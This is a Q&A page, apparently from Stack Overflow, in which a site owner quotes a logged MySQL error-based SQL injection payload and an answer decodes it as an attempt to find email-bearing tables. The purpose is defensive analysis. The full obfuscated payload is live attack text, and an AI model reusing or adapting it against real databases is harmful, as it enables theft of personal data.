Search code examples
mysqlsqlsql-injection

What is the purpose of this sort of SQL injection?


I have a website. If there are errors, I send an email out to a system account. I see the following today, which I assume was the SQL. I am going to have to put a fix. Would anyone know what the person was trying to achieve by doing this?

AdID=50427 or 1=(/**/sElEcT 1 /**/fRoM(/**/sElEcT count(*),/**/cOnCaT((/**/sElEcT(/**/sElEcT(/**/sElEcT /**/cOnCaT(0x217e21,t./**/tAbLe_nAmE,0x217e21) /**/fRoM information_schema./**/sChEmAtA as d join information_schema./**/tAbLeS as t on t./**/tAbLe_sChEmA = d./**/sChEmA_NaMe join information_schema./**/cOlUmNs as c on c./**/tAbLe_sChEmA = d./**/sChEmA_NaMe and c./**/tAbLe_nAmE = t./**/tAbLe_nAmE /**/wHeRe not c./**/tAbLe_sChEmA in(0x696e666f726d6174696f6e5f736368656d61,0x6d7973716c) and d./**/sChEmA_NaMe = /**/dAtAbAsE() and c./**/cOlUmN_NaMe like 0x25656d61696c25 and not t./**/tAbLe_nAmE in(0x42524944455f54424c,0x42524944455f54424c5f505542,0x434f4e54414354,0x434f4e544143545f54424c,0x47524f4f4d5f54424c,0x47524f4f4d5f54424c5f505542,0x4f524445525f54424c,0x7068703132315f75736572735f64656c65746564,0x535542534352494245525f4c495354,0x555345525f44454c45544544,0x555345525f50524f46494c455f44454c45544544) /**/gRoUp/**/bY t./**/tAbLe_nAmE /**/lImIt 11,1)) /**/fRoM information_schema./**/tAbLeS /**/lImIt 0,1),floor(rand(0)*2))x /**/fRoM information_schema./**/tAbLeS /**/gRoUp/**/bY x)a) and 1=1

Solution

  • Specifically it is trying to find which non-system tables have a column containing email and is excluding the following tables:

    BRIDE_PUB   
    BRIDE_TBL_PUB   
    CONTACT 
    CONTACT_TBL 
    GROOM_TBL   
    GROOM_TBL_PUB   
    ORDER_TBL   
    php121_users_deleted    
    SUBSCRIBER_LIST 
    USER_DELETED    
    USER_PROFILE_DELETED
    

    Which I assume the attacker already knows about.

    So basically they are trying to steal your Email addresses to sell as mailing lists (this is typical for SQL injection attacks).


    FYI, here is the query I used to see the strings:

    select
        CAST(0x217e21 as varchar(99)),
        CAST(0x696e666f726d6174696f6e5f736368656d61 as varchar(99)), 
        CAST(0x6d7973716c as varchar(99)), 
        CAST(0x25656d61696c25 as varchar(99)), 
        CAST(0x42524944455f54424c as varchar(99)), 
        CAST(0x42524944455f54424c5f505542 as varchar(99)), 
        CAST(0x434f4e54414354 as varchar(99)), 
        CAST(0x434f4e544143545f54424c as varchar(99)), 
        CAST(0x47524f4f4d5f54424c as varchar(99)), 
        CAST(0x47524f4f4d5f54424c5f505542 as varchar(99)), 
        CAST(0x4f524445525f54424c as varchar(99)), 
        CAST(0x7068703132315f75736572735f64656c65746564 as varchar(99)), 
        CAST(0x535542534352494245525f4c495354 as varchar(99)), 
        CAST(0x555345525f44454c45544544 as varchar(99)), 
        CAST(0x555345525f50524f46494c455f44454c45544544 as varchar(99))
    

    (I did this on MS SQL Server, not sure if the syntax is exactly the same on MySql)